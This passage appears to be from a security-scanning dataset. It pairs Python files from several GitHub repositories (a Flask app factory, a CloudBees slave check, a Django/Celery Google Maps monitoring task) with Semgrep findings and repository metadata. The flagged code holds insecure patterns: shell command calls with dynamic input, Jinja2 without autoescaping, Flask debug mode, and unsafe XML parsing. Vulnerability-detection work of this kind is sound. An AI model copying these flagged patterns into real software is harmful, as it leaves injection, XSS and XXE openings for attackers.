makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_b37a9437270b930d_71258f15", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 173, "line_end": 173, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/b37a9437270b930d.py", "start": {"line": 173, "col": 5, "offset": 5649}, "end": {"line": 173, "col": 23, "offset": 5667}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_b37a9437270b930d_30eedc30", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 173, "line_end": 173, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpr7mo7ysm/b37a9437270b930d.py", "start": {"line": 173, "col": 5, "offset": 5649}, "end": {"line": 173, "col": 23, "offset": 5667}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true",
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
52,
52,
173,
173
] | [
52,
52,
173,
173
] | [
13,
69,
5,
5
] | [
74,
73,
23,
23
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functi... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"HIGH",
"LOW",
"MEDIUM"
] | [
"HIGH",
"LOW",
"HIGH",
"HIGH"
] | iamtool.py | /iamtool.py | gitrahimi/aws-iam-user-tool | MIT | |
2024-11-18T20:51:27.388023+00:00 | 1,449,519,642,000 | abb56bd6fda8df332b17108fe6ad3fdc6160974e | 3 | {
"blob_id": "abb56bd6fda8df332b17108fe6ad3fdc6160974e",
"branch_name": "refs/heads/master",
"committer_date": 1449519642000,
"content_id": "b770e92618e982fcb019b355d5fe1499f2e6a594",
"detected_licenses": [
"MIT"
],
"directory_id": "4a3942ab759761d30d114eec8aa11115e50281fc",
"extension": "py",
"filename": "app.py",
"fork_events_count": 2,
"gha_created_at": 1433272127000,
"gha_event_created_at": 1449519642000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 36755527,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3267,
"license": "MIT",
"license_type": "permissive",
"path": "/mc/app.py",
"provenance": "stack-edu-0054.json.gz:578882",
"repo_name": "adsabs/mission-control",
"revision_date": 1449519642000,
"revision_id": "fbb06afa7a9fdbde78dbfb615588eec9b0394931",
"snapshot_id": "672ad30fb3a70d3bb284585f2098df0b56374339",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/adsabs/mission-control/fbb06afa7a9fdbde78dbfb615588eec9b0394931/mc/app.py",
"visit_date": "2016-08-12T07:41:38.348690"
} | 2.53125 | stackv2 | """
Application factory
"""
import logging.config
import os
from mc.models import db
from celery import Celery
import jinja2
from flask import Flask, current_app
from flask.ext.restful import Api
from mc.views import GithubListener
def create_app(name="mission-control"):
"""
Create the application
:param name: name of the application
:return: flask.Flask application
"""
app = Flask(name, static_folder=None)
app.url_map.strict_slashes = False
# Load config and logging
load_config(app)
logging.config.dictConfig(
app.config['MC_LOGGING']
)
# Register extensions
api = Api(app)
api.add_resource(GithubListener, '/webhooks')
db.init_app(app)
return app
def create_celery(app=None):
"""
The function creates a new Celery object, configures it with the broker
from the application config, updates the rest of the Celery config from the
Flask config and then creates a subclass of the task that wraps the task
execution in an application context.
http://flask.pocoo.org/docs/0.10/patterns/celery/
:param app: flask.Flask application instance or None
:return: configured celery.Celery instance
"""
if app is None:
app = create_app()
celery = Celery(
app.import_name,
broker=app.config.get('CELERY_BROKER_URL'),
backend=app.config.get('CELERY_BROKER_URL'),
)
celery.conf.update(app.config)
TaskBase = celery.Task
class ContextTask(TaskBase):
abstract = True
def __call__(self, *args, **kwargs):
# If we're already in an app_context, use that. Otherwise, use
# the default app.app_context. This is necessary for providing
# custom applications for tests
def get_ctx(): # pragma: no cover
try:
ctx = current_app.app_context()
except RuntimeError:
ctx = app.app_context()
return ctx
with get_ctx():
return TaskBase.__call__(self, *args, **kwargs)
celery.Task = ContextTask
return celery
def create_jinja2(template_dir=None):
"""
create a jinja2 environment using the FileSystemLoader
:param template_dir: absolute or relative path with which to look for
templates
:return: jinja2.Environment instance
"""
if template_dir is None:
template_dir = os.path.join(os.path.dirname(__file__), 'templates')
loader = jinja2.FileSystemLoader(template_dir)
return jinja2.Environment(loader=loader)
def load_config(app, basedir=os.path.dirname(__file__)):
"""
Loads configuration in the following order:
1. config.py
2. local_config.py (ignore failures)
3. consul (ignore failures)
:param app: flask.Flask application instance
:param basedir: base directory to load the config from
:return: None
"""
app.config.from_pyfile(os.path.join(basedir, 'config.py'))
try:
app.config.from_pyfile(os.path.join(basedir, 'local_config.py'))
except IOError:
app.logger.info("Could not load local_config.py")
if __name__ == '__main__':
app = create_app()
app.run(debug=True, use_reloader=False)
| 114 | 27.66 | 79 | 17 | 745 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_c1550980654df096_ad365b9e", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 12, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpr7mo7ysm/c1550980654df096.py", "start": {"line": 91, "col": 12, "offset": 2562}, "end": {"line": 91, "col": 45, "offset": 2595}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_c1550980654df096_61106c40", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=loader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 12, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpr7mo7ysm/c1550980654df096.py", "start": {"line": 91, "col": 12, "offset": 2562}, "end": {"line": 91, "col": 45, "offset": 2595}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=loader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_c1550980654df096_f031ebc3", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 5, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpr7mo7ysm/c1550980654df096.py", "start": {"line": 114, "col": 5, "offset": 3227}, "end": {"line": 114, "col": 44, "offset": 3266}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-79",
"CWE-116"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM"
] | [
91,
91
] | [
91,
91
] | [
12,
12
] | [
45,
45
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
"Detected a Jinja2 environment witho... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | app.py | /mc/app.py | adsabs/mission-control | MIT | |
2024-11-18T20:51:29.849413+00:00 | 1,370,243,193,000 | 902c175d9e91a0f5e799079463dc5760677cfd9f | 2 | {
"blob_id": "902c175d9e91a0f5e799079463dc5760677cfd9f",
"branch_name": "refs/heads/master",
"committer_date": 1370243193000,
"content_id": "c7442bebcfe95b2fa4ed07888b9f6893baeb0a6c",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "42d3393b1d974b8260fba04dccc21fd8faca2119",
"extension": "py",
"filename": "cloudbees-am-i-on.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 10455961,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 429,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/scripts/cloudbees-am-i-on.py",
"provenance": "stack-edu-0054.json.gz:578901",
"repo_name": "icanzilb/Transit",
"revision_date": 1370243193000,
"revision_id": "4029ff2d8bc67b43221cc0eae75a69ce04c537ce",
"snapshot_id": "d84b29b35fe3eb171428e79c2b0caca4615511f0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/icanzilb/Transit/4029ff2d8bc67b43221cc0eae75a69ce04c537ce/scripts/cloudbees-am-i-on.py",
"visit_date": "2021-01-17T22:01:38.612053"
} | 2.3125 | stackv2 | #!/usr/bin/env python
import urllib, socket
import xml.etree.ElementTree as ET
host_name = ".".join(socket.gethostname().split(".")[:-1])
url = "https://beamapp.ci.cloudbees.com/computer/api/xml?depth=1"
data = urllib.urlopen(url)
computerSet = ET.parse(data).getroot()
for computer in computerSet.iter("computer"):
slave_name = computer.find("displayName").text
if slave_name == host_name:
exit(1)
# Touch 2
| 16 | 25.81 | 65 | 11 | 110 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_a46c0b352c31d098_7df21c0c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpr7mo7ysm/a46c0b352c31d098.py", "start": {"line": 3, "col": 1, "offset": 44}, "end": {"line": 3, "col": 35, "offset": 78}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_a46c0b352c31d098_aa2e7098", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(data)", "location": {"file_path": "unknown", "line_start": 9, "line_end": 9, "column_start": 15, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmpr7mo7ysm/a46c0b352c31d098.py", "start": {"line": 9, "col": 15, "offset": 247}, "end": {"line": 9, "col": 29, "offset": 261}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(data)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_a46c0b352c31d098_6ce17fe3", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(1)", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpr7mo7ysm/a46c0b352c31d098.py", "start": {"line": 14, "col": 9, "offset": 410}, "end": {"line": 14, "col": 16, "offset": 417}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(1)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
3,
9
] | [
3,
9
] | [
1,
15
] | [
35,
29
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | cloudbees-am-i-on.py | /scripts/cloudbees-am-i-on.py | icanzilb/Transit | BSD-3-Clause | |
2024-11-18T19:07:00.298272+00:00 | 1,571,619,614,000 | cf4431034a38e2a835279debe48011216cb2a94a | 2 | {
"blob_id": "cf4431034a38e2a835279debe48011216cb2a94a",
"branch_name": "refs/heads/master",
"committer_date": 1571619614000,
"content_id": "b9cc4227d08c134005ce3c4731f020308900e569",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "2efa86c671ff87be1efa5492761296abb70de0ff",
"extension": "py",
"filename": "tasks.py",
"fork_events_count": 0,
"gha_created_at": 1546954789000,
"gha_event_created_at": 1670463094000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 164656956,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5465,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/MapsDataMonitoring/monitor/tasks.py",
"provenance": "stack-edu-0054.json.gz:578988",
"repo_name": "RomartM/MapsDataMonitoring",
"revision_date": 1571619614000,
"revision_id": "8b8e965c28e27bfb114ca15a79862d6024b80339",
"snapshot_id": "5925369b7a49c8f8fef3e06087e6a8661ecf1d2f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/RomartM/MapsDataMonitoring/8b8e965c28e27bfb114ca15a79862d6024b80339/MapsDataMonitoring/monitor/tasks.py",
"visit_date": "2022-12-08T18:00:59.907771"
} | 2.328125 | stackv2 | # Celery Dependencies
from __future__ import absolute_import, unicode_literals
from celery import task
# App Core Models
from .models import DataSet, SiteManifest, DataReport
# JSON Difference Detector
from jsondiff import diff
# Backend Email Dependencies
from django.core.mail import EmailMultiAlternatives
from django.template.loader import get_template
import urllib3
from django.conf import settings
# Unique ID Generator Dependency
from uuid import uuid4
# External URL Request Dependency
import requests
# JSON Dependency
import json
@task()
def gmap_data_query(site_id):
print("SID [%s] Working..." % site_id)
"""
Description: Default Task for Google Maps Places Data Monitoring Query
"""
# Fetch site by return argument site_id
site_list = SiteManifest.objects.filter(pk=site_id)
# Call DataSet Model Objects
data_obj = DataSet.objects
# DataSet List Reserves
data_list = None
# Verifies DataSet Model is not empty
if data_obj.exists():
# Sort DataSet by latest timestamp
data_list = data_obj.latest('timestamp')
# DataSet Entry Response Reserves
stat = ""
# Select first DataSet and Start Query
data = site_list.first()
# Google API Place request pattern
url = "%s://%s/maps/api/place/details/json?placeid=%s&key=%s" % \
(str(data.protocol).lower(),
str(data.domain).lower(),
data.place_id,
data.api_key)
# Fetch JSON Data
dict_data = requests.get(url).json()
# Catch Error when API became busted
try:
# Remove unnecessary dynamic data
[i.pop('photo_reference') for i in dict_data.get('result').get('photos')]
except AttributeError:
return print(str('Google Maps API Usage Error: %s' % dict_data.get('status')))
except ConnectionError:
return print(str('Failed Contacting Google API Servers'))
# Create DataSet Entry
stat = DataSet.objects.create(
uid=str(uuid4()),
data=json.dumps(dict_data.get('result')),
site=SiteManifest.objects.get(pk=1)
)
# Executes data report logger and deploy changes detection algo
response = data_report_logger(data_list, data_obj)
# Print Response and DataSet ID to console
print("DRL: %s\n DSID: %s" % (response, str(stat)))
def data_report_logger(data_list, data_obj):
"""
Description: Create DataSet Report Entry
:param data_list: DataSet List(QuerySet)
:param data_obj: DataSet Objects
"""
if data_list is not None:
# Sort newly DataList Data
fresh_data = data_obj.latest('timestamp')
# Data Changes Execution
result_difference = diff(json.loads(data_list.data),
json.loads(fresh_data.data))
result_counterpart = diff(json.loads(fresh_data.data),
json.loads(data_list.data))
# Create DataReport Entry
DataReport.objects.create(
difference=result_difference,
base_referer=data_list,
data_referer=fresh_data
)
# Checks whether data is modified
if result_difference != {}:
# Send Report if some data changes detected
email_list = []
# Generate Email List
[email_list.append(r.email) for r in data_list.site.email_recipients.all()]
print("Sending Emails to -> %s" % email_list)
# Send Email Report
alert_email_report(
dict([
('subject', 'Alert - Changes Detected - %s' % data_list.site.name),
('message', dict([('result_difference', result_difference),
('result_counterpart', result_counterpart),
('rd_manifest', data_list),
('rc_manifest', fresh_data),
('app_manifest', dict([
('version', settings.APP_VERSION)
]))])),
('recipient_list', email_list)
])
)
print('Changes Detected!')
return 'Email Sent'
else:
return 'No changes detected'
else:
return 'Data List Empty'
def alert_email_report(data_manifest):
"""
Description: Allow to send alert emails when changes of data detected
:param data_manifest: Dictionary type parameter which contains three keys
[subject] - String
[message] - String
[recipient_list] - List
"""
try:
subject = data_manifest.get('subject')
message = data_manifest.get('message')
# See settings.py for EMAIL_HOST_USER modification
email_from = settings.EMAIL_HOST_USER
email_template = get_template("email_alert_body.html")
recipient_list = data_manifest.get('recipient_list')
html_body = email_template.render(message)
msg = EmailMultiAlternatives(subject, "", email_from, recipient_list)
msg.attach_alternative(html_body, "text/html")
# Send Email
msg.send()
print('Message Sent')
# todo: more specific Error handling
except IndexError:
print('Something went wrong')
except requests.exceptions.ConnectionError:
print('Connection Error')
except urllib3.exceptions.MaxRetryError:
print('Max retries reached.')
